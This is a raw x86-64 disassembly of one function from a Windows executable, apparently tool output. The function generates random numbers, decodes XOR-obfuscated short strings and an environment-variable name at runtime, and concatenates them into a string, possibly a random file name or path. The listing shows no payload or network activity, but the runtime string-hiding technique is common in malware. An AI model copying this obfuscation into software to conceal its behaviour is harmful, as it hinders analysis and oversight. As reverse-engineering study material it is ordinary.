lea rcx, [rbp + 0x5e0]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0xe0]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0xf0]
lea rcx, [rbp + 0xe0]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x590]
call fcn.1400197f0
nop
lea rcx, [rbp + 0xe0]
call fcn.140019910
movzx eax, byte [rbp + 0x489]
test al, al
je 0x14001788c
xor byte [rbp + 0x488], 0x57
xor al, 0x58
mov byte [rbp + 0x489], al
lea rax, [rbp + 0x488]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140017896
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x590]
call fcn.1400197f0
cmp byte [rbp + 0x489], 0
jne 0x1400178ca
xor byte [rbp + 0x488], 0x57
mov byte [rbp + 0x489], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x9564], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x81e0]
call fcn.140019ce0
mov dword [rbp + 0x608], 0x423a35c7
mov dword [rbp + 0x60c], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x81e0]
lea rcx, [rbp + 0x608]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0xc0]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0xd0]
lea rcx, [rbp + 0xc0]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x590]
call fcn.1400197f0
nop
lea rcx, [rbp + 0xc0]
call fcn.140019910
movzx eax, byte [rbp + 0x489]
test al, al
je 0x14001797c
xor byte [rbp + 0x488], 0x57
xor al, 0x58
mov byte [rbp + 0x489], al
lea rax, [rbp + 0x488]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140017986
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x590]
call fcn.1400197f0
cmp byte [rbp + 0x489], 0
jne 0x1400179ba
xor byte [rbp + 0x488], 0x57
mov byte [rbp + 0x489], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xa8f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x9570]
call fcn.140019ce0
mov dword [rbp + 0x618], 0xa98ac7
mov dword [rbp + 0x61c], 0x5f5e0ff
mov r9d, 0x5f5e0ff
mov r8d, 0xa98ac7
lea rdx, [rbp + 0x9570]
lea rcx, [rbp + 0x618]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0x140]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0x150]
lea rcx, [rbp + 0x140]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x590]
call fcn.1400197f0
nop
lea rcx, [rbp + 0x140]
call fcn.140019910
movzx eax, byte [rbp + 0x489]
test al, al
je 0x140017a6c
xor byte [rbp + 0x488], 0x57
xor al, 0x58
mov byte [rbp + 0x489], al
lea rax, [rbp + 0x488]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140017a76
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x590]
call fcn.1400197f0
cmp byte [rbp + 0x489], 0
jne 0x140017aaa
xor byte [rbp + 0x488], 0x57
mov byte [rbp + 0x489], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x2004], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xc80]
call fcn.140019ce0
mov dword [rbp + 0x610], 0x423a35c7
mov dword [rbp + 0x614], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0x610]
call fcn.14001b0d0
mov edx, eax
lea rcx, [rbp + 0xa0]
call fcn.140019d40
nop
mov rbx, qword [rbp + 0xb0]
lea rcx, [rbp + 0xa0]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x590]
call fcn.1400197f0
nop
lea rcx, [rbp + 0xa0]
call fcn.140019910
movzx eax, byte [rbp + 0x498]
test al, al
je 0x140017b71
xor byte [rbp + 0x494], 0x57
xor byte [rbp + 0x495], 0x58
xor byte [rbp + 0x496], 0x59
xor byte [rbp + 0x497], 0x5a
xor al, 0x5b
mov byte [rbp + 0x498], al
lea rax, [rbp + 0x494]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017b80
lea rdx, [rbp + 0x494]
lea rcx, [rbp + 0x590]
call fcn.1400197f0
cmp byte [rbp + 0x498], 0
jne 0x140017bc9
xor byte [rbp + 0x494], 0x57
xor byte [rbp + 0x495], 0x58
xor byte [rbp + 0x496], 0x59
xor byte [rbp + 0x497], 0x5a
mov byte [rbp + 0x498], 0x5b
movzx eax, byte [rbp + 0x4a9]
test al, al
je 0x140017be3
xor byte [rbp + 0x4a8], 0x57
xor al, 0x58
mov byte [rbp + 0x4a9], al
lea rdx, [rbp + 0x4a8]
lea rcx, [rbp + 0x340]
call fcn.1400199a0
mov rbx, rax
movzx ecx, byte [rbp + 0x4b8]
test cl, cl
je 0x140017c29
xor byte [rbp + 0x4b4], 0x57
xor byte [rbp + 0x4b5], 0x58
xor byte [rbp + 0x4b6], 0x59
xor byte [rbp + 0x4b7], 0x5a
xor cl, 0x5b
mov byte [rbp + 0x4b8], cl
lea rcx, [rbp + 0x4b4]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.140019fe0
nop
lea r8, [rbp + 0x590]
mov rdx, rax
lea rcx, [rbp + 0x900]
call fcn.140019f80
nop
lea rcx, [rbp + 0x360]
call fcn.140019910
nop
lea rcx, [rbp + 0x340]
call fcn.140019910
cmp byte [rbp + 0x4b8], 0
jne 0x140017ca5
xor byte [rbp + 0x4b4], 0x57
xor byte [rbp + 0x4b5], 0x58
xor byte [rbp + 0x4b6], 0x59
xor byte [rbp + 0x4b7], 0x5a
mov byte [rbp + 0x4b8], 0x5b
cmp byte [rbp + 0x4a9], 0
jne 0x140017cbc
lea rcx, [rbp + 0x940]
call fcn.140019910
xor eax, eax
mov rcx, qword [rbp + 0xac20]
xor rcx, rsp
call fcn.14001b3f0
lea r11, [rsp + 0xadc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
int3